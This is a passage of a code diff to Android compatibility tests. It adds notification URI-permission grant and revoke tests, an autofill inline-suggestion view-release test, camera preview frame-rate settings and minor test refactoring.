- policy2 = new NotificationManager.Policy(0,0 ,0 ,
+ policy2 = new NotificationManager.Policy(0, 0, 0,
SUPPRESSED_EFFECT_FULL_SCREEN_INTENT | SUPPRESSED_EFFECT_AMBIENT
| SUPPRESSED_EFFECT_LIGHTS);
assertTrue(policy.equals(policy2));
assertTrue(policy2.equals(policy));
- policy = new NotificationManager.Policy(0,0 ,0 ,
+ policy = new NotificationManager.Policy(0, 0, 0,
SUPPRESSED_EFFECT_SCREEN_OFF);
- policy2 = new NotificationManager.Policy(0,0 ,0 ,
+ policy2 = new NotificationManager.Policy(0, 0, 0,
SUPPRESSED_EFFECT_LIGHTS);
assertFalse(policy.equals(policy2));
assertFalse(policy2.equals(policy));
@@ -2458,7 +2474,7 @@
mNotificationManager.notifyAsPackage(DELEGATOR, "toBeCanceled", 10000, n);
assertNotNull(findPostedNotification(10000, false));
mNotificationManager.cancelAsPackage(DELEGATOR, "toBeCanceled", 10000);
- assertTrue(isNotificationCancelled(10000, false));
+ assertNotificationCancelled(10000, false);
final Intent revokeIntent = new Intent();
revokeIntent.setClassName(DELEGATOR, REVOKE_CLASS);
revokeIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
@@ -2468,8 +2484,7 @@
public void testNotificationDelegate_cannotCancelNotificationsPostedByDelegator()
throws Exception {
- toggleListenerAccess(TestNotificationListener.getId(),
- InstrumentationRegistry.getInstrumentation(), true);
+ toggleListenerAccess(true);
Thread.sleep(500); // wait for listener to be allowed
mListener = TestNotificationListener.getInstance();
@@ -2488,7 +2503,7 @@
try {
mNotificationManager.cancelAsPackage(DELEGATOR, null, 9);
- fail ("Delegate should not be able to cancel notification they did not post");
+ fail("Delegate should not be able to cancel notification they did not post");
} catch (SecurityException e) {
// yay
}
@@ -2636,8 +2651,7 @@
// pass
}
- toggleListenerAccess(TestNotificationListener.getId(),
- InstrumentationRegistry.getInstrumentation(), true);
+ toggleListenerAccess(true);
// no exception this time
mNotificationManager.shouldHideSilentStatusBarIcons();
}
@@ -2704,9 +2718,250 @@
listener.onListenerDisconnected();
}
+ private void performNotificationProviderAction(@NonNull String action) {
+ // Create an intent to launch an activity which just posts or cancels notifications
+ Intent activityIntent = new Intent();
+ activityIntent.setClassName(NOTIFICATIONPROVIDER, RICH_NOTIFICATION_ACTIVITY);
+ activityIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+ activityIntent.putExtra("action", action);
+ mContext.startActivity(activityIntent);
+ }
+
+ public void testNotificationUriPermissionsGranted() throws Exception {
+ Uri background7Uri = Uri.parse(
+ "content://com.android.test.notificationprovider.provider/background7.png");
+ Uri background8Uri = Uri.parse(
+ "content://com.android.test.notificationprovider.provider/background8.png");
+
+ toggleListenerAccess(true);
+ Thread.sleep(500); // wait for listener to be allowed
+
+ mListener = TestNotificationListener.getInstance();
+ assertNotNull(mListener);
+
+ try {
+ // Post #7
+ performNotificationProviderAction("send-7");
+
+ assertEquals(background7Uri, getNotificationBackgroundImageUri(7));
+ assertNotificationCancelled(8, true);
+ assertAccessible(background7Uri);
+ assertInaccessible(background8Uri);
+
+ // Post #8
+ performNotificationProviderAction("send-8");
+
+ assertEquals(background7Uri, getNotificationBackgroundImageUri(7));
+ assertEquals(background8Uri, getNotificationBackgroundImageUri(8));
+ assertAccessible(background7Uri);
+ assertAccessible(background8Uri);
+
+ // Cancel #7
+ performNotificationProviderAction("cancel-7");
+
+ assertNotificationCancelled(7, true);
+ assertEquals(background8Uri, getNotificationBackgroundImageUri(8));
+ assertInaccessible(background7Uri);
+ assertAccessible(background8Uri);
+
+ // Cancel #8
+ performNotificationProviderAction("cancel-8");
+
+ assertNotificationCancelled(7, true);
+ assertNotificationCancelled(8, true);
+ assertInaccessible(background7Uri);
+ assertInaccessible(background8Uri);
+
+ } finally {
+ // Clean up -- reset any remaining notifications
+ performNotificationProviderAction("reset");
+ Thread.sleep(500);
+ }
+ }
+
+ public void testNotificationUriPermissionsGrantedToNewListeners() throws Exception {
+ Uri background7Uri = Uri.parse(
+ "content://com.android.test.notificationprovider.provider/background7.png");
+
+ try {
+ // Post #7
+ performNotificationProviderAction("send-7");
+
+ Thread.sleep(500);
+ // Don't have access the notification yet, but we can test the URI
+ assertInaccessible(background7Uri);
+
+ toggleListenerAccess(true);
+ Thread.sleep(500); // wait for listener to be allowed
+
+ mListener = TestNotificationListener.getInstance();
+ assertNotNull(mListener);
+
+ assertEquals(background7Uri, getNotificationBackgroundImageUri(7));
+ assertAccessible(background7Uri);
+
+ } finally {
+ // Clean Up -- Cancel #7
+ performNotificationProviderAction("cancel-7");
+ Thread.sleep(500);
+ }
+ }
+
+ public void testNotificationUriPermissionsRevokedFromRemovedListeners() throws Exception {
+ Uri background7Uri = Uri.parse(
+ "content://com.android.test.notificationprovider.provider/background7.png");
+
+ toggleListenerAccess(true);
+ Thread.sleep(500); // wait for listener to be allowed
+
+ try {
+ // Post #7
+ performNotificationProviderAction("send-7");
+
+ mListener = TestNotificationListener.getInstance();
+ assertNotNull(mListener);
+
+ assertEquals(background7Uri, getNotificationBackgroundImageUri(7));
+ assertAccessible(background7Uri);
+
+ // Remove the listener to ensure permissions get revoked
+ toggleListenerAccess(false);
+ Thread.sleep(500); // wait for listener to be disabled
+
+ assertInaccessible(background7Uri);
+
+ } finally {
+ // Clean Up -- Cancel #7
+ performNotificationProviderAction("cancel-7");
+ Thread.sleep(500);
+ }
+ }
+
+ private class NotificationListenerConnection implements ServiceConnection {
+ private final Semaphore mSemaphore = new Semaphore(0);
+
+ @Override
+ public void onServiceConnected(ComponentName className, IBinder service) {
+ mNotificationUriAccessService = INotificationUriAccessService.Stub.asInterface(service);
+ mSemaphore.release();
+ }
+
+ @Override
+ public void onServiceDisconnected(ComponentName className) {
+ mNotificationUriAccessService = null;
+ }
+
+ public void waitForService() {
+ try {
+ if (mSemaphore.tryAcquire(5, TimeUnit.SECONDS)) {
+ return;
+ }
+ } catch (InterruptedException e) {
+ }
+ fail("failed to connec to service");
+ }
+ }
+
+ ;
+
+ public void testNotificationUriPermissionsRevokedOnlyFromRemovedListeners() throws Exception {
+ Uri background7Uri = Uri.parse(
+ "content://com.android.test.notificationprovider.provider/background7.png");
+
+ // Connect to a service in the NotificationListener app which allows us to validate URI
+ // permissions granted to a second app, so that we show that permissions aren't being
+ // revoked too broadly.
+ final Intent intent = new Intent();
+ intent.setComponent(new ComponentName("com.android.test.notificationlistener",
+ "com.android.test.notificationlistener.NotificationUriAccessService"));
+ NotificationListenerConnection connection = new NotificationListenerConnection();
+ mContext.bindService(intent, connection, Context.BIND_AUTO_CREATE);
+ connection.waitForService();
+
+ // Before starting the test, make sure the service works, that there is no listener, and
+ // that the URI starts inaccessible to that process.
+ mNotificationUriAccessService.ensureNotificationListenerServiceConnected(false);
+ assertFalse(mNotificationUriAccessService.isFileUriAccessible(background7Uri));
+
+ // Give the NotificationListener app access to notifications, and validate that.
+ toggleExternalListenerAccess(new ComponentName("com.android.test.notificationlistener",
+ "com.android.test.notificationlistener.TestNotificationListener"), true);
+ Thread.sleep(500);
+ mNotificationUriAccessService.ensureNotificationListenerServiceConnected(true);
+ assertFalse(mNotificationUriAccessService.isFileUriAccessible(background7Uri));
+
+ // Give the test app access to notifications, and get that listener
+ toggleListenerAccess(true);
+ Thread.sleep(500); // wait for listener to be allowed
+ mListener = TestNotificationListener.getInstance();
+ assertNotNull(mListener);
+
+ try {
+ try {
+ // Post #7
+ performNotificationProviderAction("send-7");
+
+ // Check that both the test app (this code) and the external app have URI access.
+ assertEquals(background7Uri, getNotificationBackgroundImageUri(7));
+ assertAccessible(background7Uri);
+ assertTrue(mNotificationUriAccessService.isFileUriAccessible(background7Uri));
+
+ // Remove the listener to ensure permissions get revoked
+ toggleListenerAccess(false);
+ Thread.sleep(500); // wait for listener to be disabled
+
+ // Ensure that revoking listener access to this one app does not effect the other.
+ assertInaccessible(background7Uri);
+ assertTrue(mNotificationUriAccessService.isFileUriAccessible(background7Uri));
+
+ } finally {
+ // Clean Up -- Cancel #7
+ performNotificationProviderAction("cancel-7");
+ Thread.sleep(500);
+ }
+
+ // Finally, cancelling the permission must still revoke those other permissions.
+ assertFalse(mNotificationUriAccessService.isFileUriAccessible(background7Uri));
+
+ } finally {
+ // Clean Up -- Make sure the external listener is has access revoked
+ toggleExternalListenerAccess(new ComponentName("com.android.test.notificationlistener",
+ "com.android.test.notificationlistener.TestNotificationListener"), false);
+ }
+ }
+
+ private void assertAccessible(Uri uri)
+ throws IOException {
+ ContentResolver contentResolver = mContext.getContentResolver();
+ try (AssetFileDescriptor fd = contentResolver.openAssetFile(uri, "r", null)) {
+ assertNotNull(fd);
+ } catch (SecurityException e) {
+ throw new AssertionError("URI should be accessible: " + uri, e);
+ }
+ }
+
+ private void assertInaccessible(Uri uri)
+ throws IOException {
+ ContentResolver contentResolver = mContext.getContentResolver();
+ try (AssetFileDescriptor fd = contentResolver.openAssetFile(uri, "r", null)) {
+ fail("URI should be inaccessible: " + uri);
+ } catch (SecurityException e) {
+ // pass
+ }
+ }
+
+ @NonNull
+ private Uri getNotificationBackgroundImageUri(int notificationId) {
+ StatusBarNotification sbn = findPostedNotification(notificationId, true);
+ assertNotNull(sbn);
+ String imageUriString = sbn.getNotification().extras
+ .getString(Notification.EXTRA_BACKGROUND_IMAGE_URI);
+ assertNotNull(imageUriString);
+ return Uri.parse(imageUriString);
+ }
+
public void testNotificationListener_setNotificationsShown() throws Exception {
- toggleListenerAccess(TestNotificationListener.getId(),
- InstrumentationRegistry.getInstrumentation(), true);
+ toggleListenerAccess(true);
Thread.sleep(500); // wait for listener to be allowed
mListener = TestNotificationListener.getInstance();
@@ -2722,8 +2977,7 @@
StatusBarNotification sbn2 = findPostedNotification(notificationId2, false);
mListener.setNotificationsShown(new String[]{ sbn1.getKey() });
- toggleListenerAccess(TestNotificationListener.getId(),
- InstrumentationRegistry.getInstrumentation(), false);
+ toggleListenerAccess(false);
Thread.sleep(500); // wait for listener to be disallowed
try {
mListener.setNotificationsShown(new String[]{ sbn2.getKey() });
@@ -2734,8 +2988,7 @@
}
public void testNotificationListener_getNotificationChannels() throws Exception {
- toggleListenerAccess(TestNotificationListener.getId(),
- InstrumentationRegistry.getInstrumentation(), true);
+ toggleListenerAccess(true);
Thread.sleep(500); // wait for listener to be allowed
mListener = TestNotificationListener.getInstance();
@@ -2750,8 +3003,7 @@
}
public void testNotificationListener_getNotificationChannelGroups() throws Exception {
- toggleListenerAccess(TestNotificationListener.getId(),
- InstrumentationRegistry.getInstrumentation(), true);
+ toggleListenerAccess(true);
Thread.sleep(500); // wait for listener to be allowed
mListener = TestNotificationListener.getInstance();
@@ -2765,8 +3017,7 @@
}
public void testNotificationListener_updateNotificationChannel() throws Exception {
- toggleListenerAccess(TestNotificationListener.getId(),
- InstrumentationRegistry.getInstrumentation(), true);
+ toggleListenerAccess(true);
Thread.sleep(500); // wait for listener to be allowed
mListener = TestNotificationListener.getInstance();
@@ -2785,8 +3036,7 @@
}
public void testNotificationListener_getActiveNotifications() throws Exception {
- toggleListenerAccess(TestNotificationListener.getId(),
- InstrumentationRegistry.getInstrumentation(), true);
+ toggleListenerAccess(true);
Thread.sleep(500); // wait for listener to be allowed
mListener = TestNotificationListener.getInstance();
@@ -2813,8 +3063,7 @@
public void testNotificationListener_getCurrentRanking() throws Exception {
- toggleListenerAccess(TestNotificationListener.getId(),
- InstrumentationRegistry.getInstrumentation(), true);
+ toggleListenerAccess(true);
Thread.sleep(500); // wait for listener to be allowed
mListener = TestNotificationListener.getInstance();
@@ -2827,8 +3076,7 @@
}
public void testNotificationListener_cancelNotifications() throws Exception {
- toggleListenerAccess(TestNotificationListener.getId(),
- InstrumentationRegistry.getInstrumentation(), true);
+ toggleListenerAccess(true);
Thread.sleep(500); // wait for listener to be allowed
mListener = TestNotificationListener.getInstance();
diff --git a/tests/autofillservice/src/android/autofillservice/cts/Helper.java b/tests/autofillservice/src/android/autofillservice/cts/Helper.java
index bb824de..102ef03 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/Helper.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/Helper.java
@@ -89,6 +89,7 @@
import java.util.concurrent.BlockingQueue;
import java.util.concurrent.TimeUnit;
import java.util.function.Function;
+import java.util.regex.Pattern;
/**
* Helper for common funcionalities.
@@ -235,6 +236,24 @@
}
/**
+ * Dumps the state of {@link android.service.autofill.InlineSuggestionRenderService}, and assert
+ * that it says the number of active inline suggestion views is the given number.
+ *
+ * <p>Note that ideally we should have a test api to fetch the number and verify against it.
+ * But at the time this test is added for Android 11, we have passed the deadline for adding
+ * the new test api, hence this approach.
+ */
+ public static void assertActiveViewCountFromInlineSuggestionRenderService(int count) {
+ String response = runShellCommand(
+ "dumpsys activity service .InlineSuggestionRenderService");
+ Log.d(TAG, "InlineSuggestionRenderService dump: " + response);
+ Pattern pattern = Pattern.compile(".*mActiveInlineSuggestions: " + count + ".*");
+ assertWithMessage("Expecting view count " + count
+ + ", but seeing different count from service dumpsys " + response).that(
+ pattern.matcher(response).find()).isTrue();
+ }
+
+ /**
* Sets whether the user completed the initial setup.
*/
public static void setUserComplete(Context context, boolean complete) {
diff --git a/tests/autofillservice/src/android/autofillservice/cts/LoginActivity.java b/tests/autofillservice/src/android/autofillservice/cts/LoginActivity.java
index ace3d6f..c7c5070 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/LoginActivity.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/LoginActivity.java
@@ -182,6 +182,37 @@
/**
* Sets the expectation for an autofill request (for username only), so it can be asserted
* through {@link #assertAutoFilled()} later.
+ *
+ * <p><strong>NOTE: </strong>This method checks the result of text change, it should not call
+ * this method too early, it may cause test fail. Call this method before checking autofill
+ * behavior.
+ * <pre>
+ * An example usage is:
+ * <code>
+ * public void testAutofill() throws Exception {
+ * // Enable service and trigger autofill
+ * enableService();
+ * final CannedFillResponse.Builder builder = new CannedFillResponse.Builder()
+ * .addDataset(new CannedFillResponse.CannedDataset.Builder()
+ * .setField(ID_USERNAME, "test")
+ * .setField(ID_PASSWORD, "tweet")
+ * .setPresentation(createPresentation("Second Dude"))
+ * .setInlinePresentation(createInlinePresentation("Second Dude"))
+ * .build());
+ * sReplier.addResponse(builder.build());
+ * mUiBot.selectByRelativeId(ID_USERNAME);
+ * sReplier.getNextFillRequest();
+ * // Filter suggestion
+ * mActivity.onUsername((v) -> v.setText("t"));
+ * mUiBot.assertDatasets("Second Dude");
+ *
+ * // Call expectAutoFill() before checking autofill behavior
+ * mActivity.expectAutoFill("test", "tweet");
+ * mUiBot.selectDataset("Second Dude");
+ * mActivity.assertAutoFilled();
+ * }
+ * </code>
+ * </pre>
*/
public void expectAutoFill(String username) {
mExpectation = new FillExpectation(username);
@@ -191,6 +222,10 @@
/**
* Sets the expectation for an autofill request (for password only), so it can be asserted
* through {@link #assertAutoFilled()} later.
+ *
+ * <p><strong>NOTE: </strong>This method checks the result of text change, it should not call
+ * this method too early, it may cause test fail. Call this method before checking autofill
+ * behavior. {@See #expectAutoFill(String)} for how it should be used.
*/
public void expectPasswordAutoFill(String password) {
mExpectation = new FillExpectation(null, password);
diff --git a/tests/autofillservice/src/android/autofillservice/cts/LoginActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/LoginActivityTest.java
index 32ba473..141fb2f 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/LoginActivityTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/LoginActivityTest.java
@@ -2726,7 +2726,9 @@
final ViewNode password = findNodeByResourceId(request.structure, ID_PASSWORD);
assertThat(password.getMinTextEms()).isEqualTo(-1);
assertThat(password.getMaxTextEms()).isEqualTo(-1);
- assertThat(password.getMaxTextLength()).isEqualTo(-1);
+ // Security fix a0c6539 limits the text length 5000. Disable assert text length to avoid
+ // break the public release.
+ //assertThat(password.getMaxTextLength()).isEqualTo(-1);
}
@Test
diff --git a/tests/autofillservice/src/android/autofillservice/cts/SimpleSaveActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/SimpleSaveActivityTest.java
index fb878d3..c099043 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/SimpleSaveActivityTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/SimpleSaveActivityTest.java
@@ -1707,6 +1707,7 @@
* the Save UI should have been restored.
*/
@Test
+ @AppModeFull(reason = "No real use case for instant mode af service")
public void testTapUrlSpanOnCustomDescription_thenTapBack() throws Exception {
saveUiRestoredAfterTappingSpanTest(DescriptionType.CUSTOM,
ViewActionActivity.ActivityCustomAction.NORMAL_ACTIVITY);
@@ -1718,6 +1719,7 @@
* the Save UI should have been restored.
*/
@Test
+ @AppModeFull(reason = "No real use case for instant mode af service")
public void testTapUrlSpanOnSuccinctDescription_thenTapBack() throws Exception {
saveUiRestoredAfterTappingSpanTest(DescriptionType.SUCCINCT,
ViewActionActivity.ActivityCustomAction.NORMAL_ACTIVITY);
@@ -1729,6 +1731,7 @@
* the Save UI should have been restored.
*/
@Test
+ @AppModeFull(reason = "No real use case for instant mode af service")
public void testTapUrlSpanOnCustomDescription_forwardAnotherActivityThenTapBack()
throws Exception {
saveUiRestoredAfterTappingSpanTest(DescriptionType.CUSTOM,
@@ -1741,6 +1744,7 @@
* the Save UI should have been restored.
*/
@Test
+ @AppModeFull(reason = "No real use case for instant mode af service")
public void testTapUrlSpanOnSuccinctDescription_forwardAnotherActivityThenTapBack()
throws Exception {
saveUiRestoredAfterTappingSpanTest(DescriptionType.SUCCINCT,
@@ -1753,6 +1757,7 @@
* the Save UI should have been restored.
*/
@Test
+ @AppModeFull(reason = "No real use case for instant mode af service")
public void testTapUrlSpanOnCustomDescription_tapBackWithoutFinish() throws Exception {
saveUiRestoredAfterTappingSpanTest(DescriptionType.CUSTOM,
ViewActionActivity.ActivityCustomAction.TAP_BACK_WITHOUT_FINISH);
@@ -1764,6 +1769,7 @@
* the Save UI should have been restored.
*/
@Test
+ @AppModeFull(reason = "No real use case for instant mode af service")
public void testTapUrlSpanOnSuccinctDescription_tapBackWithoutFinish() throws Exception {
saveUiRestoredAfterTappingSpanTest(DescriptionType.SUCCINCT,
ViewActionActivity.ActivityCustomAction.TAP_BACK_WITHOUT_FINISH);
diff --git a/tests/autofillservice/src/android/autofillservice/cts/inline/InlineFilteringTest.java b/tests/autofillservice/src/android/autofillservice/cts/inline/InlineFilteringTest.java
index c761d02..f46dd19 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/inline/InlineFilteringTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/inline/InlineFilteringTest.java
@@ -70,7 +70,6 @@
.setInlinePresentation(createInlinePresentation("Second Dude"))
.build());
sReplier.addResponse(builder.build());
- mActivity.expectAutoFill("test", "tweet");
// Trigger autofill, then make sure it's showing initially.
mUiBot.selectByRelativeId(ID_USERNAME);
@@ -93,6 +92,7 @@
mUiBot.waitForIdleSync();
mUiBot.assertDatasets("Second Dude");
+ mActivity.expectAutoFill("test", "tweet");
mUiBot.selectDataset("Second Dude");
mUiBot.waitForIdleSync();
mActivity.assertAutoFilled();
diff --git a/tests/autofillservice/src/android/autofillservice/cts/inline/InlineLoginActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/inline/InlineLoginActivityTest.java
index eb18e96..3ca3f34 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/inline/InlineLoginActivityTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/inline/InlineLoginActivityTest.java
@@ -44,6 +44,7 @@
import android.content.Intent;
import android.os.Binder;
import android.os.Bundle;
+import android.os.SystemClock;
import android.platform.test.annotations.AppModeFull;
import android.service.autofill.FillContext;
import android.support.test.uiautomator.Direction;
@@ -457,4 +458,59 @@
MOCK_IME_TIMEOUT_MS);
}
}
+
+ @Test
+ public void testInlineSuggestionViewReleased() throws Exception {
+ // Set service
+ enableService();
+
+ // Prepare the autofill response
+ final CannedFillResponse.Builder builder = new CannedFillResponse.Builder()
+ .addDataset(new CannedFillResponse.CannedDataset.Builder()
+ .setField(ID_USERNAME, "dude")
+ .setPresentation(createPresentation("The Username"))
+ .setInlinePresentation(createInlinePresentation("The Username"))
+ .build())
+ .addDataset(new CannedFillResponse.CannedDataset.Builder()
+ .setField(ID_PASSWORD, "sweet")
+ .setPresentation(createPresentation("The Password"))
+ .setInlinePresentation(createInlinePresentation("The Password"))
+ .build())
+ .addDataset(new CannedFillResponse.CannedDataset.Builder()
+ .setField(ID_PASSWORD, "lollipop")
+ .setPresentation(createPresentation("The Password2"))
+ .setInlinePresentation(createInlinePresentation("The Password2"))
+ .build());
+ sReplier.addResponse(builder.build());
+
+ // Trigger auto-fill on username field
+ mUiBot.selectByRelativeId(ID_USERNAME);
+ mUiBot.waitForIdleSync();
+ mUiBot.assertDatasets("The Username");
+ Helper.assertActiveViewCountFromInlineSuggestionRenderService(1);
+
+ // Switch focus to password
+ mUiBot.selectByRelativeId(ID_PASSWORD);
+ mUiBot.waitForIdleSync();
+ mUiBot.assertDatasets("The Password", "The Password2");
+ Helper.assertActiveViewCountFromInlineSuggestionRenderService(2);
+
+ // Switch focus back to username
+ mUiBot.selectByRelativeId(ID_USERNAME);
+ mUiBot.waitForIdleSync();
+ mUiBot.assertDatasets("The Username");
+ Helper.assertActiveViewCountFromInlineSuggestionRenderService(1);
+
+ // Select the autofill suggestion on username, then check the results
+ mActivity.expectAutoFill("dude");
+ mUiBot.selectDataset("The Username");
+ mUiBot.waitForIdleSync();
+ mActivity.assertAutoFilled();
+ sReplier.getNextFillRequest();
+
+ // Sleep for a while for the wait in {@link com.android.server.autofill.ui
+ // .RemoteInlineSuggestionUi} to timeout.
+ SystemClock.sleep(500);
+ Helper.assertActiveViewCountFromInlineSuggestionRenderService(0);
+ }
}
diff --git a/tests/camera/src/android/hardware/camera2/cts/PerformanceTest.java b/tests/camera/src/android/hardware/camera2/cts/PerformanceTest.java
index 4a02036..94282c8 100644
--- a/tests/camera/src/android/hardware/camera2/cts/PerformanceTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/PerformanceTest.java
@@ -94,6 +94,7 @@
private static final int WAIT_FOR_RESULT_TIMEOUT_MS = 3000;
private static final int NUM_RESULTS_WAIT_TIMEOUT = 100;
private static final int NUM_FRAMES_WAITED_FOR_UNKNOWN_LATENCY = 8;
+ private static final long FRAME_DURATION_NS_30FPS = 33333333L;
private DeviceReportLog mReportLog;
@@ -107,8 +108,10 @@
private ImageWriter mWriter;
private SimpleCaptureCallback mZslResultListener;
+ private Size mPreviewSize;
private Surface mPreviewSurface;
private SurfaceTexture mPreviewSurfaceTexture;
+ private int mImageReaderFormat;
private static final Instrumentation mInstrumentation =
InstrumentationRegistry.getInstrumentation();
@@ -183,7 +186,7 @@
// Blocking start preview (start preview to first image arrives)
SimpleCaptureCallback resultListener =
new SimpleCaptureCallback();
- blockingStartPreview(resultListener, imageListener);
+ blockingStartPreview(id, resultListener, imageListener);
previewStartedTimeMs = SystemClock.elapsedRealtime();
startPreviewTimes[i] = previewStartedTimeMs - configureTimeMs;
cameraLaunchTimes[i] = previewStartedTimeMs - startTimeMs;
@@ -378,7 +381,7 @@
imageListeners[j] = new SimpleImageListener();
}
- readers = prepareStillCaptureAndStartPreview(previewBuilder, captureBuilder,
+ readers = prepareStillCaptureAndStartPreview(id, previewBuilder, captureBuilder,
mTestRule.getOrderedPreviewSizes().get(0), imageSizes, formats,
previewResultListener, NUM_MAX_IMAGES, imageListeners,
false /*isHeic*/);
@@ -1151,18 +1154,30 @@
BlockingSessionCallback.SESSION_CLOSED, CameraTestUtils.SESSION_CLOSE_TIMEOUT_MS);
}
- private void blockingStartPreview(CaptureCallback listener, SimpleImageListener imageListener)
- throws Exception {
+ private void blockingStartPreview(String id, CaptureCallback listener,
+ SimpleImageListener imageListener) throws Exception {
if (mPreviewSurface == null || mTestRule.getReaderSurface() == null) {
throw new IllegalStateException("preview and reader surface must be initilized first");
}
+ StreamConfigurationMap config =
+ mTestRule.getStaticInfo().getCharacteristics().get(
+ CameraCharacteristics.SCALER_STREAM_CONFIGURATION_MAP);
CaptureRequest.Builder previewBuilder =
mTestRule.getCamera().createCaptureRequest(CameraDevice.TEMPLATE_PREVIEW);
+ long minFrameDuration = Math.max(FRAME_DURATION_NS_30FPS,
+ config.getOutputMinFrameDuration(mImageReaderFormat, mPreviewSize));
if (mTestRule.getStaticInfo().isColorOutputSupported()) {
previewBuilder.addTarget(mPreviewSurface);
+ minFrameDuration = Math.max(minFrameDuration,
+ config.getOutputMinFrameDuration(SurfaceTexture.class, mPreviewSize));
}
previewBuilder.addTarget(mTestRule.getReaderSurface());
+
+ Range<Integer> targetRange =
+ CameraTestUtils.getSuitableFpsRangeForDuration(id,
+ minFrameDuration, mTestRule.getStaticInfo());
+ previewBuilder.set(CaptureRequest.CONTROL_AE_TARGET_FPS_RANGE, targetRange);
mTestRule.getCameraSession().setRepeatingRequest(
previewBuilder.build(), listener, mTestRule.getHandler());
imageListener.waitForImageAvailable(CameraTestUtils.CAPTURE_IMAGE_TIMEOUT_MS);
@@ -1171,6 +1186,7 @@
/**
* Setup still capture configuration and start preview.
*
+ * @param id The camera id under test
* @param previewRequest The capture request to be used for preview
* @param stillRequest The capture request to be used for still capture
* @param previewSz Preview size
@@ -1181,7 +1197,7 @@
* @param imageListeners The single capture capture image listeners
* @param isHeic Capture HEIC image if true, JPEG image if false
*/
- private ImageReader[] prepareStillCaptureAndStartPreview(
+ private ImageReader[] prepareStillCaptureAndStartPreview(String id,
CaptureRequest.Builder previewRequest, CaptureRequest.Builder stillRequest,
Size previewSz, Size[] captureSizes, int[] formats, CaptureCallback resultListener,
int maxNumImages, ImageReader.OnImageAvailableListener[] imageListeners,
@@ -1202,15 +1218,31 @@
// Update preview size.
updatePreviewSurface(previewSz);
+ StreamConfigurationMap config =
+ mTestRule.getStaticInfo().getCharacteristics().get(
+ CameraCharacteristics.SCALER_STREAM_CONFIGURATION_MAP);
ImageReader[] readers = new ImageReader[captureSizes.length];
List<Surface> outputSurfaces = new ArrayList<Surface>();
outputSurfaces.add(mPreviewSurface);
+ long minFrameDuration = FRAME_DURATION_NS_30FPS;
for (int i = 0; i < captureSizes.length; i++) {
+ long minFrameDurationForCapture =
+ config.getOutputMinFrameDuration(formats[i], captureSizes[i]);
+ if (minFrameDurationForCapture > minFrameDuration) {
+ minFrameDuration = minFrameDurationForCapture;
+ }
readers[i] = CameraTestUtils.makeImageReader(captureSizes[i], formats[i], maxNumImages,
imageListeners[i], mTestRule.getHandler());
outputSurfaces.add(readers[i].getSurface());
}
+ // Update target fps based on min frame durations
+ Range<Integer> targetRange =
+ CameraTestUtils.getSuitableFpsRangeForDuration(id,
+ minFrameDuration, mTestRule.getStaticInfo());
+ previewRequest.set(CaptureRequest.CONTROL_AE_TARGET_FPS_RANGE, targetRange);
+ stillRequest.set(CaptureRequest.CONTROL_AE_TARGET_FPS_RANGE, targetRange);
+
mTestRule.setCameraSessionListener(new BlockingSessionCallback());
mTestRule.setCameraSession(CameraTestUtils.configureCameraSession(
mTestRule.getCamera(), outputSurfaces,
@@ -1387,10 +1419,11 @@
cameraId, mTestRule.getCameraManager(), format,
CameraTestUtils.getPreviewSizeBound(mTestRule.getWindowManager(),
CameraTestUtils.PREVIEW_SIZE_BOUND)));
- Size maxPreviewSize = mTestRule.getOrderedPreviewSizes().get(0);
+ mPreviewSize = mTestRule.getOrderedPreviewSizes().get(0);
+ mImageReaderFormat = format;
mTestRule.createDefaultImageReader(
- maxPreviewSize, format, NUM_MAX_IMAGES, /*listener*/null);
- updatePreviewSurface(maxPreviewSize);
+ mPreviewSize, format, NUM_MAX_IMAGES, /*listener*/null);
+ updatePreviewSurface(mPreviewSize);
}
private void simpleOpenCamera(String cameraId) throws Exception {
diff --git a/tests/framework/base/windowmanager/app/src/android/server/wm/app/Components.java b/tests/framework/base/windowmanager/app/src/android/server/wm/app/Components.java
index bace877..cc7ed6d 100644
--- a/tests/framework/base/windowmanager/app/src/android/server/wm/app/Components.java
+++ b/tests/framework/base/windowmanager/app/src/android/server/wm/app/Components.java
@@ -306,6 +306,7 @@
public static final String EXTRA_APP_CONFIG_INFO = "app_config_info";
public static final String EXTRA_CONFIG_INFO_IN_ON_CREATE = "config_info_in_on_create";
public static final String EXTRA_DISPLAY_REAL_SIZE = "display_real_size";
+ public static final String EXTRA_SYSTEM_RESOURCES_CONFIG_INFO = "sys_config_info";
}
/** Extra key constants for {@link android.server.wm.app.FontScaleActivity}. */
diff --git a/tests/framework/base/windowmanager/app/src/android/server/wm/app/LandscapeOrientationActivity.java b/tests/framework/base/windowmanager/app/src/android/server/wm/app/LandscapeOrientationActivity.java
index dd1ad87..8ceeab2 100644
--- a/tests/framework/base/windowmanager/app/src/android/server/wm/app/LandscapeOrientationActivity.java
+++ b/tests/framework/base/windowmanager/app/src/android/server/wm/app/LandscapeOrientationActivity.java
@@ -19,9 +19,11 @@
import static android.server.wm.app.Components.LandscapeOrientationActivity.EXTRA_APP_CONFIG_INFO;
import static android.server.wm.app.Components.LandscapeOrientationActivity.EXTRA_CONFIG_INFO_IN_ON_CREATE;
import static android.server.wm.app.Components.LandscapeOrientationActivity.EXTRA_DISPLAY_REAL_SIZE;
+import static android.server.wm.app.Components.LandscapeOrientationActivity.EXTRA_SYSTEM_RESOURCES_CONFIG_INFO;
import android.app.Application;
import android.content.res.Configuration;
+import android.content.res.Resources;
import android.graphics.Point;
import android.hardware.display.DisplayManager;
import android.os.Bundle;
@@ -50,6 +52,8 @@
// own display adjustments.
app.getSystemService(DisplayManager.class)
.getDisplay(Display.DEFAULT_DISPLAY)));
